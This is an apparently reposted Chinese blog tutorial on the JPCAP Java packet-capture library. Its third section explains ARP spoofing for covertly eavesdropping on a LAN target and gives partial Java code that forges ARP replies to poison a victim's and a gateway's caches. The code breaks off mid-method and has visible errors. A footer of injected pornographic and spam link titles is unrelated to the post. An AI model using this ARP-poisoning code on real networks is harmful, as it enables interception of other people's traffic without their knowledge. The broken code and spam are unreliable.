<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    afunms

    My Software,My Dream—Forge a more perfect NMS product.

    JPCAP——JAVA中的數據鏈路層控制

    JPCAP——JAVA中的數據鏈路層控制
     
    一.JPCAP簡介
    眾所周知,JAVA語言雖然在TCP/UDP傳輸方面給予了良好的定義,但對于網絡層以下的控制,卻是無能為力的。JPCAP擴展包彌補了這一點。
    JPCAP實際上并非一個真正去實現對數據鏈路層的控制,而是一個中間件,JPCAP調用wincap/libpcap,而給JAVA語言提供一個公共的接口,從而實現了平臺無關性。在官方網站上聲明,JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系統。
    二.JPCAP機制
           JPCAP的整個結構大體上跟wincap/libpcap是很相像的,例如NetworkInterface類對應wincaptypedef struct _ADAPTER  ADAPTERgetDeviceList()對應pcap_findalldevs()等等。 JPCAP有16個類,下面就其中最重要的4個類做說明。
     
    1.NetworkInterface
    該類的每一個實例代表一個網絡設備,一般就是網卡。這個類只有一些數據成員,除了繼承自java.lang.Object的基本方法以外,沒有定義其它方法。
     
    數據成員
    NetworkInterfaceAddress[]
    addresses
        這個接口的網絡地址。設定為數組應該是考慮到有些設備同時連接多條線路,例如路由器。但我們的PC機的網卡一般只有一條線路,所以我們一般取addresses[0]就夠了。
     java.lang.String
    datalink_description.
        數據鏈路層的描述。描述所在的局域網是什么網。例如,以太網(Ethernet)、無線LAN網(wireless LAN)、令牌環網(token ring)等等。
     java.lang.String
    datalink_name
       該網絡設備所對應數據鏈路層的名稱。具體來說,例如Ethernet10M、100M、1000M等等。
     java.lang.String
    description
       網卡是XXXX牌子XXXX型號之類的描述。例如我的網卡描述:Realtek RTL8169/8110 Family Gigabit Ethernet NIC
     boolean
    Loopback
        標志這個設備是否loopback設備。
     byte[]
    mac_address
       網卡的MAC地址,6個字節。
     java.lang.String
    Name
        這個設備的名稱。例如我的網卡名稱:\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}
     
    2.JpcapCaptor
    該類提供了一系列靜態方法實現一些基本的功能。該類一個實例代表建立了一個與指定設備的鏈接,可以通過該類的實例來控制設備,例如設定網卡模式、設定過濾關鍵字等等。
     
    數據成員
     int
    dropped_packets 
    拋棄的包的數目。
    protected  int
    ID
        這個數據成員在官方文檔中并沒有做任何說明,查看JPCAP源代碼可以發現這個ID實際上在其JNIC代碼部分傳進來的,這類本身并沒有做出定義,所以是供其內部使用的。實際上在對JpcapCator實例的使用中也沒有辦法調用此數據成員。
    protected static boolean[]
    instanciatedFlag
       同樣在官方文檔中沒有做任何說明,估計其為供內部使用。
    protected static int
    MAX_NUMBER_OF_INSTANCE
    同樣在官方文檔中沒有做任何說明,估計其為供內部使用。
    int
    received_packets
            
    收到的包的數目
    方法成員
    static NetworkInterface[]
    getDeviceList()
              
    返回一個網絡設備列表。
    static JpcapCaptor
    openDevice(NetworkInterface interface, int snaplen, boolean promisc, int to_ms)
            
    創建一個與指定設備的連接并返回該連接。注意,以上兩個方法都是靜態方法。
          Interface:要打開連接的設備的實例;
          Snaplen:這個是比較容易搞混的一個參數。其實這個參數不是限制只能捕捉多少數據包,而是限制每一次收到一個數據包,只提取該數據包中前多少字節;
          Promisc:設置是否混雜模式。處于混雜模式將接收所有數據包,若之后又調用了包過濾函數setFilter()將不起任何作用;
          To_ms:這個參數主要用于processPacket()方法,指定超時的時間;
     void
    Close()
              
    關閉調用該方法的設備的連接,相對于openDivece()打開連接。
     JpcapSender
    getJpcapSenderInstance()
             
    該返回一個JpcapSender實例,JpcapSender類是專門用于控制設備的發送數據包的功能的類。
     Packet
    getPacket()
              
    捕捉并返回一個數據包。這是JpcapCaptor實例中四種捕捉包的方法之一。
     int
    loopPacket(int count, PacketReceiver handler)
             
    捕捉指定數目的數據包,并交由實現了PacketReceiver接口的類的實例處理,并返回捕捉到的數據包數目。如果count參數設為-1,那么無限循環地捕捉數據。
          這個方法不受超時的影響。還記得openDivice()中的to_ms參數么?那個參數對這個方法沒有影響,如果沒有捕捉到指定數目數據包,那么這個方法將一直阻塞等待。
    PacketReceiver中只有一個抽象方法void receive(Packet p)
     int
    processPacket(int count, PacketReceiver handler)
              
    loopPacket()功能一樣,唯一的區別是這個方法受超時的影響,超過指定時間自動返回捕捉到數據包的數目。
     int
    dispatchPacket(int count, PacketReceiver handler)
            
    processPacket()功能一樣,區別是這個方法可以處于“non-blocking”模式工作,在這種模式下dispatchPacket()可能立即返回,即使沒有捕捉到任何數據包。
     void
    setFilter(java.lang.String condition, boolean optimize)
              .
    condition設定要提取的包的關鍵字。
           Optimize:這個參數在說明文檔以及源代碼中都沒有說明,只是說這個參數如果為真,那么過濾器將處于優化模式。
     void
    setNonBlockingMode(boolean nonblocking)
         如果值為“true”,那么設定為“non-blocking”模式。
     void
    breakLoop()
         當調用processPacket()loopPacket()后,再調用這個方法可以強制讓processPacket()loopPacket()停止。
     
    3.JpcapSender
    該類專門用于控制數據包的發送。
     
    方法成員
     void
    close()
             
    強制關閉這個連接。
    static JpcapSender
    openRawSocket()
         這個方法返回的JpcapSender實例發送數據包時將自動填寫數據鏈路層頭部分。
     void
    sendPacket(Packet packet)
              JpcapSender
    最重要的功能,發送數據包。需要注意的是,如果調用這個方法的實例是由JpcapCaptorgetJpcapSenderInstance()得到的話,需要自己設定數據鏈路層的頭,而如果是由上面的openRawSocket()得到的話,那么無需也不能設置,數據鏈路層的頭部將由系統自動生成。
     
    4.Packet
    這個是所有其它數據包類的父類。Jpcap所支持的數據包有:
    ARPPacketDatalinkPacketEthernetPacketICMPPacketIPPacketTCPPacketUDPPacket
     
    三.使用JPCAP實現監聽
           1.監聽原理
           在詳細說用JPCAP實現網絡監聽實現前,先簡單介紹下監聽的原理。
           局域網監聽利用的是所謂的“ARP欺騙”技術。在以前曾經一段階段,局域網的布局是使用總線式(或集線式)結構,要到達監聽只需要將網卡設定為混雜模式即可,但現在的局域網絡普遍采用的是交換式網絡,所以單純靠混雜模式來達到監聽的方法已經不可行了。所以為了達到監聽的目的,我們需要“欺騙”路由器、“欺騙”交換機,即“ARP欺騙”技術。
           假設本機為A,監聽目標為B。
    首先,偽造一個ARP REPLY包,數據鏈路層頭及ARP內容部分的源MAC地址填入A的MAC地址,而源IP部分填入網關IP,目的地址填入B的MAC、IP,然后將這個包發送給B,而B接收到這個偽造的ARP REPLY包后,由于源IP為網關IP,于是在它的ARP緩存表里刷新了一項,將(網關IP,網關MAC)刷新成(網關IP,A的MAC)。而B要訪問外部的網都需要經過網關,這時候這些要經過網關的包就通通流到A的機器上來了。
    接著,再偽造一個ARP REPLY包,數據鏈路層頭及ARP內容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入網關MAC、IP,然后將這個包發給網關,網關接收到這個偽造的ARP REPLY包后,由于源IP為B的IP,于是在它的ARP緩存表里刷新了一項,將(B的IP,B的MAC)刷新成(B的IP,A的MAC)。這時候外部傳給B的數據包經過網關時,就通通轉發給A。
    這樣還只是攔截了B的數據包而已,B并不能上網——解決方法是將接收到的包,除了目的地址部分稍做修改,其它原封不動的再轉發出去,這樣就達到了監聽的目的——在B不知不覺中瀏覽了B所有的對外數據包。
     
    ARP數據包解析
    單元:Byte
    Ethernet頭部
    ARP數據部分
    2
    2
    2
    2
    目標MAC地址
    源地MAC地址
    類型號0x0800:ip
    0x0806:ARP
    局域網類型
    以太網0x0001
    網絡協議類型
    IP網絡0x0800
    MAC/IP地址長度,恒為0x06/04
    ARP包類型
    REPLY
    0x0002
    ARP目標IP地址
    ARP目標MAC 地址
    ARPIP地址
    ARPMAC地址
     
    2.用JPCAP實現監聽
           就如上面說的,為了實現監聽,我們必須做四件事:
    A.發送ARP包修改B的ARP緩存表;
    B.發送ARP包修改路由ARP緩存表;
    C.轉發B發過來的數據包;
    D.轉發路由發過來的數據包;
     
    下面我們給個小小的例子說明怎樣實現。
    我們假定運行這個程序的機器A只有一個網卡,只接一個網絡,所在局域網為Ethernet,并且假定已經通過某種方式獲得B和網關的MAC地址(例如ARP解析獲得)。我們修改了B和網關的ARP表,并對他們的包進行了轉發。
    public class changeARP{
             private NetworkInterface[] devices;                           //設備列表
             private NetworkInterface device;                               //要使用的設備
             private JpcapCaptor jpcap;                                        //與設備的連接
             private JpcapSender sender;                                       //用于發送的實例
             private byte[] targetMAC, gateMAC;                       //BMAC地址,網關的MAC地址
             private byte[] String targetIp, String gateIp;              //BIP地址,網關的IP地址
             /**
             *初始化設備
             * JpcapCaptor.getDeviceList()得到設備可能會有兩個,其中一個必定是“Generic
    *dialup adapter”,這是windows系統的虛擬網卡,并非真正的硬件設備。
    *注意:在這里有一個小小的BUG,如果JpcapCaptor.getDeviceList()之前有類似JFrame jf=new
    *JFame()這類的語句會影響得到設備個數,只會得到真正的硬件設備,而不會出現虛擬網卡。
    *虛擬網卡只有MAC地址而沒有IP地址,而且如果出現虛擬網卡,那么實際網卡的MAC將分
    *配給虛擬網卡,也就是說在程序中調用device. mac_address時得到的是00 00 00 00 00 00
             */
             private NetworkInterface getDevice() throws IOException {
                      devices = JpcapCaptor.getDeviceList();                                                 //獲得設備列表
                       device = devices[0];                                                                                //只有一個設備
                       jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);             //打開與設備的連接
                       jpcap.setFilter(“ip”,true);                                                                       //只監聽BIP數據包
                       sender = captor.getJpcapSenderInstance();
             }
             /**
             *修改B和網關的ARP表。因為網關會定時發數據包刷新自己和B的緩存表,所以必須每隔一
             *段時間就發一次包重新更改B和網關的ARP表。
             *@參數 targetMAC           BMAC地址,可通過ARP解析得到;
             *@參數 targetIp                 BIP地址;
             *@參數 gateMAC              網關的MAC地址;
             *@參數 gateIp                     網關的IP;
             */
             public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
                                throws UnknownHostException,InterruptedException {
                       this. targetMAC =  targetMAC;
                       this. targetIp =  targetIp;
                       this. gateMAC = gateMAC;
                       this. gateIp = gateIp;
                       getDevice();
                       arpTarget = new ARPPacket();                                                     //修改BARP表的ARP
                       arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;          //選擇以太網類型(Ethernet)
                       arpTarget.prototype = ARPPacket.PROTOTYPE_IP;                //選擇IP網絡協議類型
                       arpTarget.operation = ARPPacket.ARP_REPLY;                         //選擇REPLY類型
                       arpTarget.hlen = 6;                                                                        //MAC地址長度固定6個字節
                       arpTarget.plen = 4;                                                                        //IP地址長度固定4個字節
                       arpTarget.sender_hardaddr = device.mac_address;                       //AMAC地址
                       arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress();       //網關IP
                       arpTarget.target_hardaddr = targetMAC;                                               //BMAC地址
        
    轉:http://nicky-hk.javaeye.com/blog/46719

    posted on 2009-12-09 10:22 afunms 閱讀(289) 評論(0)  編輯  收藏


    只有注冊用戶登錄后才能發表評論。


    網站導航:
     

    My Links

    News

    留言簿(18)

    隨筆檔案

    相冊

    搜索

    最新評論

    閱讀排行榜

    主站蜘蛛池模板: 波多野结衣免费一区视频| 在线视频免费国产成人| 亚洲第一成人在线| 亚洲午夜精品一级在线播放放| 日本一区午夜艳熟免费| 亚洲成a人片在线看| 国产亚洲人成A在线V网站| 在线视频精品免费| 美女被羞羞网站免费下载| 久久精品国产亚洲AV香蕉| 免费jjzz在线播放国产| 亚洲黄色免费电影| caoporm超免费公开视频| 国产成人精品亚洲日本在线| 亚洲日韩乱码中文无码蜜桃臀网站| 又粗又大又黑又长的免费视频| 国产一级一毛免费黄片| 亚洲AV电影天堂男人的天堂| 久久丫精品国产亚洲av不卡| 亚洲国产精品成人AV无码久久综合影院| 最近中文字幕完整免费视频ww| XXX2高清在线观看免费视频| 亚洲中文无码永久免费| 亚洲成人在线网站| 久久久久噜噜噜亚洲熟女综合| 免费毛片在线看片免费丝瓜视频| 免费黄网站在线看| jizz免费在线观看| 久久精品国产亚洲av瑜伽| 亚洲最大免费视频网| 国产亚洲精品一品区99热| 亚洲精品第一国产综合精品99| 免费看国产精品3a黄的视频| 一级毛片不卡片免费观看| 好湿好大好紧好爽免费视频| 亚洲av永久无码| 亚洲日韩国产AV无码无码精品 | 亚洲精品乱码久久久久久下载| 亚洲自偷自偷在线制服| 亚洲av成人一区二区三区在线观看 | 一级做a毛片免费视频|